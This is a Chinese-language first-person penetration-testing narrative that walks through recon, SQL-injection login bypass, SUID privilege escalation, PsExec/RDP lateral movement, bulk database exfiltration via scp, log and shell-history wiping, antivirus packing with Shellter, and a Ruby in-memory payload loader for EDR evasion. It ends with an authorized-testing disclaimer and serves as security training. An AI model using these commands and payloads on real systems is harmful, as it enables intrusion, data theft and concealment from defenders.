一、潜入的第一步：信息收集的秘诀
有一次，我受邀参与一个大型互联网企业的渗透测试。对于我来说，这就像是一场无声的战斗，需要在不被察觉的情况下，悄然发现系统的薄弱点。通常，任何一次渗透测试都始于信息收集。对于这次任务，我决定从公开信息、域名、IP地址等开始着手。
探索目标的表面信息
首先，我会利用一些常用的工具来挖掘目标的外部信息，这些信息可能包括子域名、邮件地址、社交媒体帐户等。Whois查询、Google Dorking、Shodan等都是这阶段的利器。
Shodan 使用实例：
<pre><code class="language-shell"># Shodan搜索目标域名的公开信息 shodan search "hostname:targetdomain.com"</code></pre>
Shodan能帮助我快速定位目标的外部暴露服务，了解目标的基本概况。
探索内部网络的蛛丝马迹
除了外部信息，我还需要深入挖掘内部网络的蛛丝马迹。这里，我会使用一些网络扫描工具，例如Nmap来识别开放端口和服务。
Nmap 扫描示例：
<pre><code class="language-shell"># 使用Nmap扫描目标IP的端口 nmap -sS -p 1-65535 -v target.ip.address</code></pre>
通过Nmap，我能知道目标的哪些端口是开放的，哪些服务在运行。这些信息就像一把钥匙，可以帮助我在下一步中找到更多的入口。
二、突破防线：漏洞利用与权限提升
在信息收集阶段，我已经掌握了目标的许多信息。接下来，我需要利用这些信息寻找系统中的薄弱环节，并尝试突破防线。在这次渗透测试中，我发现了一个未经修补的Web应用漏洞——SQL注入。
SQL注入的致命威胁
SQL注入一直是Web应用程序中最常见的漏洞之一。它允许攻击者通过构造特殊的SQL语句来操控数据库。
构造攻击Payload
在这次测试中，我发现目标的某个登录表单没有进行适当的参数过滤。通过输入以下Payload，可以绕过登录验证：
SQL 注入Payload：
<pre><code class="language-sql">' OR '1'='1</code></pre>
这个Payload利用了目标系统在对用户输入进行SQL查询时，没有对输入进行适当过滤的漏洞，将始终返回True，从而绕过登录验证。
权限提升技巧
成功登录后，我需要提升权限，以便访问更多的数据。通常，我会寻找一些可能存在的提权漏洞，例如未修补的内核漏洞、可执行的SUID程序等。
利用SUID程序提权示例：
<pre><code class="language-shell"># 查找系统中具有SUID位的程序 find / -perm -u=s -type f 2>/dev/null</code></pre>
找到可利用的SUID程序后，我可以通过精心设计的输入来提升自己的权限。
三、横向移动：内网漫游的艺术
在成功取得一台主机的访问权限后，我的目标是横向移动，扩展在网络内部的影响力。为此，我会使用一些工具和技术，如PsExec、远程桌面协议(RDP)等。
PsExec的实战应用
PsExec是一个强大的工具，可以帮助我在内网中执行远程命令。通过利用前面获得的凭证信息，我能够在网络中进行进一步的渗透。
PsExec使用示例：
<pre><code class="language-shell"># 使用PsExec在目标主机上执行命令 psexec \\target.machine.ip -u username -p password cmd</code></pre>
通过PsExec，我可以在目标主机上执行命令，进一步获取权限和信息。
远程桌面协议的利用
RDP是另一个常用的横向移动方法。拥有管理员凭证后，我可以通过RDP连接到其他主机，进行深入的访问和控制。
连接到RDP实例：
<pre><code class="language-shell"># 使用RDP连接目标主机 rdesktop target.machine.ip</code></pre>
在内网中，RDP通常没有被严格监控，通过它可以高效地横向移动。
四、数据窃取与痕迹清除：完美收官
在成功控制多个目标主机后，我的任务仍未结束。最终的目标是窃取敏感数据，同时确保自己的行为不被发现。
敏感数据的获取
对于这次渗透测试，我重点关注数据库和文件服务器。在获取访问权限后，我会使用一些自动化脚本来批量下载数据。
批量下载数据的Shell脚本：
<pre><code class="language-shell">#!/bin/bash
批量下载目标数据库文件
scp [email protected]:/var/lib/mysql/* /local/directory/</code></pre>
通过这种方式，我能够快速地获取大量敏感数据，而不需要手动逐个下载。
清除痕迹的策略
在渗透测试的最后阶段，我需要清除所有可能暴露我的痕迹。这包括删除日志、重置系统时间、清理Shell历史记录等。
清除痕迹的Shell命令：
<pre><code class="language-shell"># 删除Shell历史记录 history -c history -w
清理日志文件
echo "" > /var/log/auth.log</code></pre>
这样做可以有效地掩盖我在系统中的活动轨迹，确保测试的隐蔽性。
五、逃脱监控的技巧：免杀与对抗艺术
在渗透过程中，避免被安全产品检测到是关键的一步。对于常见的反病毒软件和EDR，我通常会利用免杀和对抗技术。
恶意载荷的免杀
为了绕过AV检测，可以对Payload进行加壳或混淆处理。我会使用一些免杀工具，将Payload伪装成无害的文件。
使用Shellter进行免杀处理：
<pre><code class="language-shell"># 使用Shellter对Payload进行加壳 shellter -a -f payload.exe</code></pre>
经过处理的Payload可以有效绕过大多数杀毒软件的检测。
EDR的对抗策略
面对企业增强检测响应(EDR)产品的监控，我会使用一些技术规避其检测。这包括使用内存加载技术、反调试技术等。
内存加载技术示例：
<pre><code class="language-ruby"># 使用Ruby进行Payload的内存加载
require 'fiddle'
读取Payload文件
payload = File.read('payload.bin')
将Payload加载到内存
mem = Fiddle::Pointer.malloc(payload.size) mem[0, payload.size] = payload
执行Payload
Fiddle::Function.new(mem, [], Fiddle::TYPE_VOIDP).call</code></pre>
这种方法能在不写入磁盘的情况下直接在内存中执行恶意代码，使得EDR难以检测。
六、反思与总结：不断进化的攻防博弈
在这次渗透测试中，我不仅强化了自己的技术能力，同时也深刻理解了攻防之间的博弈。每一个成功的攻击背后，都有一套复杂的防御策略在不断进化。
个人经验分享
从这次的实战经历中，我总结出以下几点经验：
- 信息收集的重要性：在渗透过程中，信息就是力量。通过全面的信息收集，可以大幅增加渗透成功的几率。
- 多技术并用：不同的漏洞需要不同的方法来利用，灵活运用各种技术和工具是成功的关键。
- 隐蔽性是关键：在渗透过程中，保持隐蔽是最重要的。即使成功攻入系统，也需要确保自己的活动不被发现。
这次渗透测试让我更加理解，技术不仅是一种工具，更是一种艺术。不断更新自己的技能，了解最新的攻击手段和防御措施，是每一个安全研究员的必修课。
声明：本文仅限于授权安全测试，供安全研究人员学习，不得用于非法用途。